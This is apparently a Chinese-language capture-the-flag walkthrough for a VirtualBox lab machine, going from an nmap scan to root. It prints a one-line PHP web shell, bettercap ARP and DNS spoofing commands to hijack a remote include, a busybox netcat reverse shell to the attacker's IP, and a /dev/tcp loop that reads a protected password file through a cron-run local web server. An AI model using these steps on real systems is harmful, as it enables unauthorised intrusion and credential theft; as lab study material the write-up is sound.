

信息收集

```
nmap -p- 10.206.131.23
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-08 07:27 EDT
Nmap scan report for 10.206.131.23
Host is up (0.0022s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 08:00:27:CC:60:BC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 15.82 seconds
```

80端口

```
<?php
highlight_file(__FILE__);
@include"http://hyh.maze-sec.com/";
```

没发现其他的东西 应该是域名劫持

创建恶意web服务文件

```
# 1. 创建并进入目录
mkdir -p /tmp/evil_web && cd /tmp/evil_web

# 2. 写入恶意代码（文件名必须是 index.html）
echo '<?php system($_REQUEST["cmd"]); ?>' > index.html

# 3. 启动 Web 服务
sudo python3 -m http.server 80
```

配置 DNS 劫持规则

```
sudo vi /etc/ettercap/etter.dns
```

```
hyh.maze-sec.com      A      10.206.131.145
*.maze-sec.com        A      10.206.131.145
```

使用bettercap劫持欺骗

```
sudo bettercap -iface eth0
```

```
# 开启主机探测
net.probe on
```

```
# 设置我们要劫持的域名
set dns.spoof.domains hyh.maze-sec.com
```

```
# 将域名指向你的 Kali IP
set dns.spoof.address 10.206.131.145
```

```
# 开启 DNS 欺骗
dns.spoof on
```

```
# 设置 ARP 欺骗的目标 (靶机 IP)
set arp.spoof.targets 10.206.131.23
```

```
# 开启 ARP 欺骗
arp.spoof on
```

反弹shell

```
curl "http://10.206.131.23/?cmd=id"
<pre><code style="color: #000000"><span style="color: #0000BB">&lt;?php
highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span
style="color: #007700">);
@include</span><span style="color: #DD0000">"http://hyh.maze-sec.com/"</span><span style="color: #007700">;
</span></code></pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```
curl "http://10.206.131.23/?cmd=busybox%20nc%2010.206.131.145%206666%20-e%20sh"
```

定时任务

```
cat /etc/cron.d/*
```

```
* * * * * hyh /bin/bash -c '/usr/bin/timeout 30s /usr/bin/python3 -m http.server 8080 --bind 127.0.0.1 --
```

```
directory /var/tmp'
```

ftp

发现都没权限

```
ftp> ls
229 Entering Extended Passive Mode (||||30008|)
150 Here comes the directory listing.
-rw-r--r--    1 0          0          140 Apr 05 09:33 motto.txt
-rw-----    1 1001      1001        75 Apr 07 03:58 pass.txt
```

```
www-data@HiHYH:/srv/ftp/pub$ ls
motto.txt  pass.txt
www-data@HiHYH:/srv/ftp/pub$ cat motto.txt
失去的终究会失去吧，想念的终究会相遇吧。
What you lose will eventually be lost, and what you miss will eventually meet.
www-data@HiHYH:/srv/ftp/pub$ cat pass.txt
cat: pass.txt: Permission denied
www-data@HiHYH:/srv/ftp/pub$
```

```
ln -s /srv/ftp/pub /var/tmp/pub
```

```
www-data@HiHYH:/var/tmp$ while true; do
>   exec 3<>/dev/tcp/127.0.0.1/8080 && echo -e "GET /pub/pass.txt HTTP/1.0\r\nHost: 127.0.0.1\r\n\r\n" >&3 &&
cat <&3 && break
>   sleep 1
> done
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
bash: connect: Connection refused
```

```

www-data@H1HYH:/var/tmp$ while true; do
> exec 3</dev/tcp/127.0.0.1/8080 && echo -e "GET /pub/pass.txt HTTP/1.0\r\nHost: 127.0.0.1\r\n\r\n" >63 && cat <63 && break
> sleep 1
> done
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
bash: connect: Connection refused
bash: /dev/tcp/127.0.0.1/8080: Connection refused
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.9.2
Date: Wed, 08 Apr 2026 10:01:01 GMT
Content-type: text/plain
Content-Length: 75
Last-Modified: Tue, 07 Apr 2026 03:58:48 GMT

hyh:HYPH4Rly9UF3vwJq+xK1F53JYaMM

# ll104567 password pattern
hint:"ma....$

```

```
# ll104567 password pattern
hint:^ma....$
```

11104567用户

mazell

4 / 5

[sudo] password for ll104567:

Matching Defaults entries for ll104567 on HiHYH:

env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ll104567 may run the following commands on HiHYH:

(ALL : ALL) ALL

直接最高权限了

```
ll104567@HiHYH:~$ sudo su -
root@HiHYH:~# ls
root.txt
root@HiHYH:~# cat root.txt
flag{root-a714840e24342b1a075a4a31405452f}
root@HiHYH:~#
```